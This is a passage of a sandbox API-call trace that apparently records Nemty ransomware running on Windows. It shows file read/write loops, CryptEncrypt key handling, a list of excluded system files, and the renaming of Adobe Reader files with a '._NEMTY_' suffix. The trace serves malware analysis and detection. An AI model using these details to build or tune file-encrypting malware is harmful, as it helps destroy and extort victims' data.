lpOverlapped=0x0) returned 0 [0196.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.169] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.169] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.178] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.178] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.189] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.189] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.198] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.208] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.208] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.217] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.217] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.223] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.223] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.229] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.229] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0196.229] CloseHandle (hObject=0xffffffff) returned 0 [0196.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0196.229] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0196.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0196.229] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0196.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0196.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0196.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0196.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0196.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0196.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0196.229] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-ucs2c"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2C._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-ucs2c._nemty_kgobjgd_")) returned 0 [0196.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0196.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0196.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0196.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0196.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0196.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0196.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0196.229] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3de5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-RKSJ-H", cAlternateFileName="ADD-RK~1")) returned 1 [0196.229] lstrcmpiW (lpString1="Add-RKSJ-H", lpString2=".") returned 1 [0196.230] lstrcmpiW (lpString1="Add-RKSJ-H", lpString2="..") returned 1 [0196.230] lstrcmpiW (lpString1="Add-RKSJ-H", lpString2="...") returned 1 [0196.230] lstrcmpiW (lpString1="Add-RKSJ-H", lpString2="windows") returned -1 [0196.230] lstrcmpiW (lpString1="Add-RKSJ-H", lpString2="$RECYCLE.BIN") returned 1 [0196.230] lstrcmpiW (lpString1="Add-RKSJ-H", lpString2="rsa") returned -1 [0196.230] lstrcmpiW (lpString1="Add-RKSJ-H", lpString2="NTDETECT.COM") returned -1 [0196.230] lstrcmpiW (lpString1="Add-RKSJ-H", lpString2="ntldr") returned -1 [0196.230] lstrcmpiW (lpString1="Add-RKSJ-H", lpString2="MSDOS.SYS") returned -1 [0196.230] lstrcmpiW (lpString1="Add-RKSJ-H", lpString2="IO.SYS") returned -1 [0196.230] lstrcmpiW (lpString1="Add-RKSJ-H", lpString2="boot.ini") returned -1 [0196.230] lstrcmpiW (lpString1="Add-RKSJ-H", lpString2="boot.ini") returned -1 [0196.230] lstrcmpiW (lpString1="Add-RKSJ-H", lpString2="AUTOEXEC.BAT") returned -1 [0196.230] lstrcmpiW (lpString1="Add-RKSJ-H", lpString2="ntuser.dat") returned -1 [0196.230] lstrcmpiW (lpString1="Add-RKSJ-H", lpString2="desktop.ini") returned -1 [0196.230] lstrcmpiW (lpString1="Add-RKSJ-H", lpString2="CONFIG.SYS") returned -1 [0196.230] lstrcmpiW (lpString1="Add-RKSJ-H", lpString2="RECYCLER") returned -1 [0196.230] lstrcmpiW (lpString1="Add-RKSJ-H", lpString2="BOOTSECT.BAK") returned -1 [0196.363] lstrcmpiW (lpString1="Add-RKSJ-H", lpString2="bootmgr") returned -1 [0196.363] lstrcmpiW (lpString1="Add-RKSJ-H", lpString2="programdata") returned -1 [0196.363] lstrcmpiW (lpString1="Add-RKSJ-H", lpString2="appdata") returned -1 [0196.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Add-RKSJ-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0196.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Add-RKSJ-H", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Add-RKSJ-H", lpUsedDefaultChar=0x0) returned 10 [0196.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0196.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Add-RKSJ-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0196.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Add-RKSJ-H", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Add-RKSJ-H", lpUsedDefaultChar=0x0) returned 10 [0196.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0196.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Add-RKSJ-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0196.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Add-RKSJ-H", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Add-RKSJ-H", lpUsedDefaultChar=0x0) returned 10 [0196.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Add-RKSJ-H", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0196.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Add-RKSJ-H", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Add-RKSJ-H", lpUsedDefaultChar=0x0) returned 10 [0196.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0196.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0196.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0196.363] Sleep (dwMilliseconds=0x5) [0196.449] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x28bd4810, dwHighDateTime=0x1d561e8)) [0196.449] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x28bd4810, dwHighDateTime=0x1d561e8)) [0196.449] GetLastError () returned 0x5 [0196.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0196.449] GetLastError () returned 0x5 [0196.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0196.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0196.449] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0196.449] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0196.449] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0196.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0196.449] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="aVKNi3a4Zri9/lVbSLjCnphGsjPqxCtfqZM/BD+kvc/cgIa/J2efwmjJvi5pYp4n\r\n/V6fLXRJ0GwGFZjUVJOC+ZwlH0+weQ7D3JOH9+t4RbAcj0ThWsWSLh8vFSE62tls\r\nbWq9VJ4yhu8Zg+72gYcXAjoo0LcwaH0WAA+1uiS/aFSMqiNppuM5wYHQUlJr3jkX\r\nTwzHkP/5ZmukQmkm7dlVRhAyfybr1ijHKRHjuq0S4O6K8gasbpbgi9qV9ylHuykg\r\nFpwYsGla0UERGwf5yIU+OESfCYPmqI6FBTDFRVs5LnUK3fyCOh7RXNeWqhi5sSfU\r\n20v3yioRksSyuMFTqiXJOA==\r\n", pcchString=0x653e91c) returned 1 [0196.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0196.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0196.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0196.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0196.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0196.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0196.449] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\add-rksj-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0196.450] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0196.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0196.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.450] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.460] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.460] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.469] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.469] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.479] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.479] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.488] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.488] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.497] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.497] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.517] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.517] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.528] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.528] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.537] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.537] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, 